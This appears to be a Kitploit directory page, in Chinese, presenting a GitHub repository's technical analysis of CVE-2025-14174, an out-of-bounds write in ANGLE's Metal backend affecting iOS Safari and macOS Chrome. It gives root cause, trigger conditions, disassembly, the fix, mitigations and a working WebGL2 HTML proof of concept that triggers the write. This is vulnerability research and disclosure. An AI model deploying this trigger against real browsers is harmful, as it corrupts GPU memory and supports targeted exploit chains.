Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-14174-analysis — 针对 CVE-2025-14174 的分析与 PoC - ANGLE Metal 越界写入(iOS Safari、macOS Chrome) | Kitploit
工具/GitHubGitHub/typeconfused/cve-2025-14174-analysis
iOS安全漏洞分析漏洞利用Web安全移动安全硬件安全二进制分析
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对 CVE-2025-14174 的分析与 PoC - ANGLE Metal 越界写入(iOS Safari、macOS Chrome)

查看仓库
17个月前尚未审核

CVE-2025-14174 分析:ANGLE Metal 暂存缓冲区越界写入

CVE-2025-14174 的技术分析与概念验证

CVECVE-2025-14174
严重性高
在野利用是 - 针对 iOS < 26 的有目标攻击
受影响范围iOS Safari、macOS Chrome/Chromium/Electron(不包括 macOS Safari)
状态已在 ANGLE 提交 95a32cb 中修复
致谢Apple、Google 威胁分析小组

在野利用

据 Apple 称,CVE-2025-14174 在早于 iOS 26 的 iOS 版本上,作为**"针对特定目标个人的极其复杂的攻击"**的一部分被利用。

攻击链包括:

  • CVE-2025-14174(本文档)- ANGLE Metal 越界写入
  • CVE-2025-43529(WebKit Bug 302502)- WebKit 释放后使用

目录

  • 摘要
  • 受影响平台
  • 影响
  • 根本原因
  • 触发条件
  • 技术分析
  • 概念验证
  • 修复方案
  • 检测说明
  • 缓解措施
  • 参考资料

摘要

ANGLE 的 Metal 后端在通过暂存缓冲区上传深度纹理时存在越界(OOB)写入漏洞。暂存缓冲区的大小是使用 GL_UNPACK_IMAGE_HEIGHT 计算的,而非实际纹理高度。当 UNPACK_IMAGE_HEIGHT < height 时,ANGLE 会分配一个过小的缓冲区,随后将 height 行数据写入其中,导致渲染进程中的 GPU 内存损坏。


受影响平台

该漏洞影响使用 ANGLE 的 Metal 后端 提供 WebGL 支持的应用程序:

平台详情

iOS Safari 受影响。 在 iOS 上,WebKit 使用 ANGLE 作为其 WebGL 后端,这使得 iPhone 和 iPad 上的 Safari 易受攻击。

macOS Safari 不受影响。 在 macOS 上,Safari 使用 WebKit 自有的原生 WebGL 实现,直接与 Metal 交互,完全绕过了 ANGLE。

macOS Chrome 受影响。 测试期间,运行在 macOS 26.1 上的 Google Chrome 表现出漏洞,因为它使用 ANGLE 的 Metal 后端提供 WebGL 支持。

存在漏洞的代码路径位于 ANGLE 的 TextureMtl 类中(setSubImageImpl / setPerSliceSubImage / SaturateDepth)。


影响

严重性描述
已确认GPU/Metal 后端写入超出暂存缓冲区末尾
已确认可通过 WebGL2 + PBO + DEPTH_COMPONENT32F 复现
可能内存压力下 GPU 进程崩溃或上下文丢失

关键特征:

  • 该漏洞在 WebGL 中是静默的(通常返回 NO_ERROR)
  • 大多数情况下没有可见的渲染异常
  • Metal 验证层可能检测不到该溢出
  • 取决于堆布局,可能导致 GPU 进程不稳定或被利用

根本原因

在 D32F 深度纹理上传路径中,ANGLE 根据 GL_UNPACK_IMAGE_HEIGHT 计算 pixelsDepthPitch,并使用该值来确定暂存 MTLBuffer 的大小。然而,随后的计算调度(深度饱和处理)使用实际纹理高度执行操作,当参数不一致时会导致越界写入。

大小不匹配示例

对于 width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


触发条件

必须满足以下所有条件:

  1. WebGL2 上下文(PBO 支持所必需)
  2. 深度纹理格式 DEPTH_COMPONENT32F(已验证;其他深度格式可能也受影响,但未测试)
  3. 像素缓冲区对象(PBO)绑定到 PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT 设置为小于实际纹理高度的值
  5. ANGLE Metal 后端处于活动状态(iOS Safari,或 macOS 上的 Chrome/Chromium/Electron)

为什么 WebGL 不会拦截此问题

根据 GL 规范,GL_UNPACK_IMAGE_HEIGHT 用于影响 3D/数组纹理的上传,而非 2D 纹理。对于 TEXTURE_2D:

  • 该参数会被接受,但不参与 WebGL 验证
  • 对于 2D 纹理,WebGL 不会拒绝 UNPACK_IMAGE_HEIGHT < height
  • ANGLE 错误地使用该参数来确定深度上传暂存缓冲区的大小

技术分析

易受攻击的调用链

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

二进制证据(iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

二进制证据(macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

SaturateDepth 函数随后使用实际纹理尺寸调度 Metal 计算着色器,从而将数据写入超出过小暂存缓冲区的范围。


概念验证

最小触发示例(WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

易受攻击系统上的预期结果: 尽管 GPU 进程中发生了越界写入,gl.getError() 仍会返回 NO_ERROR。


修复方案

ANGLE 提交 95a32cb 修正了暂存缓冲区的分配,使其使用实际纹理尺寸:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

此外,还修复了 blit 操作的 srcBytesPerImage 计算:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

检测说明

该漏洞很难从 JavaScript 中检测到:

  • 暂存缓冲区是 GPU 进程中的内部 Metal 资源
  • 即使漏洞被触发,WebGL 通常也会返回 NO_ERROR
  • Metal 验证层可能不会标记该溢出
  • 大多数情况下没有可见的渲染异常
  • 需要对 Metal API 调用进行插桩,或进行 GPU 内存调试

缓解措施

方法说明
更新应用包含 ANGLE 修复的平台更新
规避措施避免为深度纹理设置小于实际高度的 UNPACK_IMAGE_HEIGHT
纵深防御使用 UNPACK_IMAGE_HEIGHT == height 的固定大小上传

参考资料

  • ANGLE 修复: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium 缺陷: https://issues.chromium.org/issues/466192044
  • WebKit 缺陷(CVE-2025-43529): https://webkit.org/b/302502
  • 受影响平台:
    • iOS:Safari(WebKit 使用 ANGLE Metal)
    • macOS:Chrome、Chromium、Electron(使用 ANGLE Metal)

致谢

漏洞发现: Apple、Google 威胁分析小组

技术分析: 本文档记录了针对该漏洞的独立研究与逆向工程。


本分析是 SpiderWebKit 安全研究项目的一部分。

下载工具
平台软件受影响说明
iOSSafari是iOS 上的 WebKit 使用 ANGLE Metal 提供 WebGL 支持
macOSChrome / Chromium是使用 ANGLE Metal 后端
macOSElectron 应用是使用 Chromium 的 ANGLE 实现
macOSSafari否使用 WebKit 自带的原生 Metal WebGL,而非 ANGLE
理论GPU 内存中的跨资源损坏(尚未证实)
参数计算值
行距width * sizeof(float)4 字节
暂存缓冲区(已分配)rowPitch * UNPACK_IMAGE_HEIGHT512 字节
计算调度(已写入)rowPitch * actualHeight2048 字节
越界写入2048 - 5121536 字节
函数地址作用
setSubImageImpl0x272fa9028计算过小的 depthPitch
setPerSliceSubImage0x272fac240分配过小的暂存缓冲区
MakeBufferWithStorageMode0x272ef19bc以错误的大小创建 MTLBuffer
SaturateDepth0x272facfa4以实际尺寸调度计算
函数地址作用
setSubImageImpl0x22c6d10f4计算过小的 depthPitch
setPerSliceSubImage0x22c6d4398分配过小的暂存缓冲区
MakeBufferWithStorageMode0x22c619490以错误的大小创建 MTLBuffer
SaturateDepth0x22c6d5144以实际尺寸调度计算